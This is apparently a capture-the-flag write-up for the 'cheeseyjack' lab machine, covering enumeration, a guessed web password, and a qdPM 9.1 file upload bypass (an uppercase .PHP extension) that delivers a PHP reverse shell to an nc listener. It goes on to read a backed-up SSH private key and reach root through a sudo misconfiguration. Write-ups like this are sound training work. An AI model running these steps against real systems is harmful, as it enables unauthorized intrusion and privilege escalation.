

There are a couple of services that are running on this machine.

For NFS, only a read only user directory was exported but that does not help.

Its more like a red herring.

Same goes samba, no juicy directories were being shared.

```

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 4.6.2
445/tcp   open  netbios-ssn  Samba smbd 4.6.2
2049/tcp  open  nfs_acl      3 (RPC #100227)
33060/tcp open  mysqlx?
35105/tcp open  mountd       1-3 (RPC #100005)
37949/tcp open  mountd       1-3 (RPC #100005)
43159/tcp open  nlockmgr     1-4 (RPC #100021)
56925/tcp open  mountd       1-3 (RPC #100005)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=10/29%Time=5F999A16%P=x86_64-pc-linux-gnu%(
SF:NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTP0
SF:ptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVer
SF:sionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,
SF:2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0f
SF:Invalid\x20message\x20message\x20message")%r(Hello,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"
SF:)%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x0
SF:1\x10\x88'\x1a\x0fInvalid\x20message\x20message\x20message")%r(TerminalServerCooki
SF:e,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05
SF:\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\x20message\x20
SF:000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\x20
SF:\x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOption
SF:s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\
SF:x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\x20message\x20
SF:0")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\
SF:0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\x20
SF:\x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
MAC Address: 00:0C:29:B3:F8:B7 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.17 seconds
root@kali: #

```

The first breakthrough comes after browsing these folders:

1. Project_management
2. It_security

```
root@kali:~# gobuster dir --url http://jack -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php3,php5,php7,php,html,sh,txt,bak,bk
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://jack
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Extensions:  sh,php5,php7,php,bak,bk,php3,html,txt
[+] Timeout:      10s
=====
2020/10/29 00:23:10 Starting gobuster
=====
/index.html (Status: 200)
/assets (Status: 301)
/forms (Status: 301)
/project_management (Status: 301)
/server-status (Status: 403)
/it_security (Status: 301)
=====
2020/10/29 00:25:44 Finished
=====
```

This is a good enough clue to proceed forward but wtf is a weak password.

I got stuck on this route for a long time.

Getting to know the correct email was easy as you need to abuse the reset password feature.

Reason being if the email given was valid there is a success message indicating that an `email` was being sent for the `forgotten password`.

Tried variations of cheese or Cheeseman or cheesejack but to no avail.

The last desperado pray to god move was to just fuck it and use qdpm and it worked.

FFS and lol!



Cheese you complete idiot. You hired me to ensure your webapp project stayed secure and you use a weak password like that? What's wrong with you? A baby could guess that!

-crab

Username: [ch33s3m4n@cheeseyjack.local](#)

Password: qdpm

Cheeseyjack.local Workspace

cheeseyjack.local login

A new password has been sent to your e-mail address

Email

Password

☐ Remember Me

Login

[Password forgotten?](#)

qdPM 9.1
Copyright © 2020 qdpm.net

Getting access to the web app is 1 thing. But knowing what to do is another so I proceed to do a searchsploit to see if some stuff could be abused.

Turns out that the file upload feature is the easiest way. Copied the php reverse shell to tmp directory. Made some edits, opened an nc listener, upload the php shell and a shell was popped.

```
set_time_limit (0);  
$VERSION = "1.0";  
$ip = '192.168.153.128'; // CHANGE THIS  
$port = 4444; // CHANGE THIS
```

```
root@kali:/usr/share/webshells/php# ls -l  
total 44K  
drwxr-xr-x 3 root root 4.0K Sep 11 01:42 ./  
drwxr-xr-x 8 root root 4.0K Sep 11 01:43 ../  
drwxr-xr-x 2 root root 4.0K Sep 11 01:42 findsocket/  
-rw-r--r-- 1 root root 2.8K Jul 17 2019 php-backdoor.php  
-rwxr-xr-x 1 root root 5.4K Jul 17 2019 php-reverse-shell.php*  
-rw-r--r-- 1 root root 14K Jul 17 2019 qsd-php-backdoor.php  
-rw-r--r-- 1 root root 328 Jul 17 2019 simple-backdoor.php
```

qdpM 9.1 - Arbitrary File Upload

Description

When a normal user tries to update their profile, they can arbitrarily upload files to the user_photo area. Because there are no file extension controls. Additionally, the .htaccess file has some protection against malicious .php file. But, the developer writes the wrong regex. So, the Attacker can change extension as (.PHP) and run code on the server

.htaccess file content:

```
# This is used to restrict access to this folder to anything other
# than images

# Prevents any script files from being accessed from the images folder
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>
```

* Full Name

ch33s3m4n

New Password

* Email

ch33s3m4n@cheeseyjack.local

Phone

Photo

Browse...

No file selected.

☐ Remove Photo

Language

English

```
root@kali:~# nc -nlvp 4444  
listening on [any] 4444 ...
```



```
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.153.128] from (UNKNOWN) [192.168.153.130] 34686
Linux cheeseyjack 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
05:28:45 up 12 min, 0 users, load average: 0.00, 0.05, 0.07
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

After getting the user shell, I went the easy way first and did a search on both the Cheeseman and crab and somehow it turns out valuable data.

From here on, I proceed to copy and paste the ssh keys and popped crab's account.

```
www-data@cheeseyjack:/var/www/html/project_management/core/config$ find / -type f -user crab 2> /dev/null
/home/crab/.bin/ping
/home/crab/todo.txt
/home/crab/.local/share/tracker/data/tracker-store.ontology.journal
/home/crab/.local/share/tracker/data/tracker-store.journal
```

```
1. Scold cheese for weak qdpm password (done)
2. Backup SSH keys to /var/backups
3. Change cheese's weak password
4. Milk
5. Eggs
6. Stop putting my grocery list on my todo lists
(END)
```

```
www-data@cheeseyjack:/var/backups$ ls
total 2.3M
drwxr-xr-x  3 root root 4.0K Oct 10 15:59 ./
drwxr-xr-x 15 root root 4.0K Sep 24 12:33 ../
-rw-r--r--  1 root root 60K Oct  8 23:17 alternatives.tar.0
-rw-r--r--  1 root root 2.9K Sep 24 12:32 alternatives.tar.1.gz
-rw-r--r--  1 root root 80K Sep 24 16:59 apt.extended_states.0
-rw-r--r--  1 root root  11 Sep 24 12:23 dpkg.arch.0
-rw-r--r--  1 root root  43 Sep 24 12:23 dpkg.arch.1.gz
-rw-r--r--  1 root root  43 Sep 24 12:23 dpkg.arch.2.gz
-rw-r--r--  1 root root 786 Sep 24 12:34 dpkg.diversions.0
-rw-r--r--  1 root root 259 Sep 24 12:34 dpkg.diversions.1.gz
-rw-r--r--  1 root root 220 Sep 24 12:25 dpkg.diversions.2.gz
-rw-r--r--  1 root root 237 Sep 24 12:59 dpkg.statoverride.0
-rw-r--r--  1 root root 184 Sep 24 12:59 dpkg.statoverride.1.gz
-rw-r--r--  1 root root 168 Jul 31 09:31 dpkg.statoverride.2.gz
-rw-r--r--  1 root root 1.5M Oct 10 15:56 dpkg.status.0
-rw-r--r--  1 root root 341K Oct  8 23:15 dpkg.status.1.gz
-rw-r--r--  1 root root 362K Sep 24 12:27 dpkg.status.2.gz
drwxr-xr-x  2 root root 4.0K Sep 24 16:35 ssh-bak/
www-data@cheeseyjack:/var/backups$
```

```
www-data@cheeseyjack:/var/backups/ssh-bak$ ls
total 12K
drwxr-xr-x 2 root root 4.0K Sep 24 16:35 ./
drwxr-xr-x 3 root root 4.0K Oct 10 15:59 ../
-rw-r--r-- 1 root root 2.6K Sep 24 16:35 key.bak
www-data@cheeseyjack:/var/backups/ssh-bak$ cat key.bak
-----BEGIN OPENSSH PRIVATE KEY-----
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
```

Getting root at this point is easy as you just need to copy whatever shell to .bin/ directory and do a sudo.

```
crab@cheeseyjack:~$ sudo -l
Matching Defaults entries for crab on cheeseyjack:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User crab may run the following commands on cheeseyjack:
    (ALL : ALL) ALL
    (root) NOPASSWD: /home/crab/.bin/
```

```
crab@cheeseyjack:~$ cp /bin/bash .bin/
crab@cheeseyjack:~$ ls .bin/
bash  ping
crab@cheeseyjack:~$ sudo /home/crab/.bin/bash -p
root@cheeseyjack:/home/crab#
```

Overall, this box is a little rage inducing because

1. Im a bad guesser

On the other hand, it feels realistic as fuck because

1. Guessable password
2. Sudo misconfigurations

Lastly a thank you to mr cheese for creating this awesome box

```
root@cheeseyjack:~# cat root.txt
```



```
WOWEEEE! You rooted my box! Congratulations. If you enjoyed this box there will be more coming.
```

```
Tag me on twitter @cheesewadd with this picture and i'll give you a RT!
```

```
root@cheeseyjack:~#
```